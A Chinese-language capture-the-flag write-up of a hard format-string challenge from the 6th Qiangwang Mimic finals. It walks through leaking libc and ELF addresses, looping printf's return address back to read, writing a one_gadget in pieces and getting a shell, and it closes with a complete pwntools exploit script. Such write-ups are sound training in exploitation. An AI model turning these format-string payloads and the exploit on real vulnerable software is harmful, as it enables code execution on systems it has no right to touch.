第六届强网拟态线下赛

记一道格式化字符串题目,个人感觉算是格式化字符串里的困难级别了,几乎限制到了最高。

参考自大佬: https://zikh26.github.io/posts/a523e26a.html

libc2.31,保护全开。

main函数如下:

pAHZ9IK.png

分析可知,只有一次bss段格式化字符串漏洞利用的机会,且printf后跟着exit。

题目分析

1、题目给了栈地址的后四位,用于我们修改返回地址调用链。

2、printf后跟着exit,因此不能控制main函数的返回地址,并且libc未知,也没法修改exit_hook为target,所以只能修改printf函数的返回地址成target,以便后续再次利用。

具体思路

首先获取栈地址低位

1
2
3
ru("Gift: ")
ret_addr_low = int(p.recv(4),16)
success("ret_addr_low: " + hex(ret_addr_low))

第一步构造

首先我们需要根据已知的后四位栈地址,修改返回地址由0x1250 变成0x1223(即read函数的起始地址),因为只有一次机会,并且需要修改两处,所以不能使用$符号进行修改,具体思路可参考我之前格式化字符串漏洞文章里的7.5.1只能进行一次bss段格式化字符串利用部分 PWN-格式化字符串漏洞 | 摆烂小子

构造payload:

1
2
3
payload=b'%p'*9 
payload+=b'%'+str((value-0xc)-90).encode()+b'c%hn'
payload+=b'%'+str(0x100023-((value-0xc))).encode()+b'c%39$hhn'

1、泄露地址

解释一下该payload,由于我们不能连续使用两个$进行修改,所以需要在前边填充%,不需要泄露内容的情况下一般是填充%c,因为只占一个字符,方便后边地址计算,但是这里我们需要泄露libc地址和elf地址,所以使用9个%p填充,加上后边的%xc的一共是10个,那么后边%hn修改的就是栈上偏移11的地方,即途中划线处。

pAHZFRe.png

因为写入内容太大,调试框看不到泄露的地址,所以我们先注释掉后边两部分,只发送payload=b’%p’*9 ,然后下断点s进入printf(这里一定要s步入到printf中,不然回到main后会抬栈,不好看了)

pAHZiGD.png

接收代码如下:

1
2
3
4
5
6
7
8
9
print(payload)
p.send(payload)
ru('0x')
elf_base = int(p.recv(12),16) - 0x4040
success("elf_base: " + hex(elf_base))
ru('0x')
ru('0x')
libc_base = int(p.recv(12),16) - 0x10dfd2
success("libc_base: " + hex(libc_base))

pAHZkxH.png

可以看到成功泄露出libc地址和elf地址了。

2、修改返回地址

接下来解释以下为什么是str((value-0xc)-90)str(0x100023-((value-0xc)))

我们首先找到printf的返回地址,还是s步入到printf中后查看栈内存:

pAHZEMd.png

可以看到0x1e88处就是printf的返回地址,指向0x1250(对应ida里的0x1250),并且main的返回地址就是下边的0x1ea8,两者相差0x20。那么为什么是这样构造str((value-0xc)-90)呢。

首先打印一下send发送的payload,如下:

1
b'%p%p%p%p%p%p%p%p%p%7726c%hn%1040795c%39$hhn'

可知,7726就是str((value-0xc)-90)的值,转成16进制就是0x1e2e,然后再看上图栈内存,我们需要修改第11处偏移变成返回地址,也就是要修改成0x1e88,计算一下0x1e88 - 0x1e2e = 90,由于%n会把前边以输出的字节也加上,所以我们看一下前边输出的信息长度是多少。

pAHZPPO.png

发现正好是90,所以前边输出的一大堆地址的字节90 + 0x1e2e = 0x1e88,就可以修改第11处偏移指向返回地址了,后边的再次修改返回地址成0x1223同理,不做赘述。

printf执行完后,栈内存如下:

pAHZlRg.png

可以看到成功在泄露libc地址和elf地址的情况下同时修改了返回地址成0x1223,而该地址就是read的起始地址,我们又可以再次输入利用了。

第二步构造

通过第一步构造,我们已经实现了控制printf返回地址的操作,接下来只需重复该操作即可。

具体思路是修改printf的返回地址+8处内容为one_gadget(我们不能直接修改返回地址成one_gadget,因此12字节一次修改不掉,修改部分返回地址就会出错),最后再修改printf的返回地址成ret,使其滑到下方的one_gadget处执行。

分三次修改,每次修改4字节。

注意:每次修改过程中都要同时修改返回地址成0x1223,方便后面再次利用。

第一次payload:

1
2
3
4
5
6
7
8
9
10
11
12
payload = b'%'+str(0x23).encode()+b'c%39$hhn'             
payload += b'%'+str(((ret_addr_low-4))-0x23).encode()+b'c%27$hn'
payload = payload.ljust(0x100,b'\x00')

p.send(payload)

payload = b'%'+str(0x23).encode()+b'c%39$hhn'
payload += b'%'+str((one_gadget&0xffff)-0x23).encode()+b'c%41$hn'
payload = payload.ljust(0x100,b'\x00')
debug()

p.send(payload)

1、第一次修改one_gadget低四位

debug下断掉s步入到printf,n到执行完,查看栈内存。

pAHQbjO.png

发现已经成功修改printf_ret_addr + 8 处的第四位成了one_gadget的第四位,注意这里需要找一条另外的栈链,不能用偏移11的那条链了,这里选择的是偏移27和41处的。

后续同理,分别修改one_gadget的另外高八位即可。

2、第二次修改one_gadget中四位

修改后栈内存如图:

pAHQT9x.png

3、第三次修改one_gadget高四位

修改后栈内存如图:

pAHQHgK.png

4、最后修改返回地址成ret

修改后栈内存如图:

pAHQ736.png

最后,成功getshell。

pAHQI41.png

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
from ctypes import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r(a):
return p.recv(a)
def ru(a):
return p.recvuntil(a)
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libcbase):
return libcbase + libc.sym['system'], libcbase + next(libc.search(b'/bin/sh\x00'))

#p = remote('1.14.71.254', 28143)
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

ru("Gift: ")
ret_addr_low = int(p.recv(4),16)
success("ret_addr_low: " + hex(ret_addr_low))

#change printf_ret_addr and leak addr
payload = b'%p'*9
payload += b'%'+str((ret_addr_low-0xc)-90).encode()+b'c%hn'
payload += b'%'+str(0x100023-((ret_addr_low-0xc))).encode()+b'c%39$hhn'

print(payload)
s(payload)
ru('0x')
elf_base = int(p.recv(12),16) - 0x4040
success("elf_base: " + hex(elf_base))
ru('0x')
ru('0x')
libc_base = int(p.recv(12),16) - 0x10dfd2
success("libc_base: " + hex(libc_base))
one_gadget = libc_base + 0xe3b01

#change printf_addr + 8 to one_gadget
#first change
payload = b'%'+str(0x23).encode()+b'c%39$hhn'
payload += b'%'+str(((ret_addr_low-4))-0x23).encode()+b'c%27$hn'
payload = payload.ljust(0x100,b'\x00')
s(payload)

payload = b'%'+str(0x23).encode()+b'c%39$hhn'
payload += b'%'+str((one_gadget&0xffff)-0x23).encode()+b'c%41$hn'
payload = payload.ljust(0x100,b'\x00')
s(payload)

#second change
payload=b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str(((ret_addr_low-4+2))-0x23).encode()+b'c%27$hn'
payload=payload.ljust(0x100,b'\x00')
s(payload)

payload=b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str(((one_gadget>>16)&0xffff)-0x23).encode()+b'c%41$hn'
payload=payload.ljust(0x100,b'\x00')
s(payload)


#third change
payload=b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str(((ret_addr_low-4+2+2))-0x23).encode()+b'c%27$hn'
payload=payload.ljust(0x100,b'\x00')
p.send(payload)

payload=b'%'+str(0x23).encode()+b'c%39$hhn'
payload+=b'%'+str(((one_gadget>>32)&0xffff)-0x23).encode()+b'c%41$hn'
payload=payload.ljust(0x100,b'\x00')
s(payload)

#change printf_ret_addr to ret
payload=b'%'+str(0xc4).encode()+b'c%39$hhn'
payload=payload.ljust(0x100,b'\x00')
#debug()
s(payload)

p.interactive()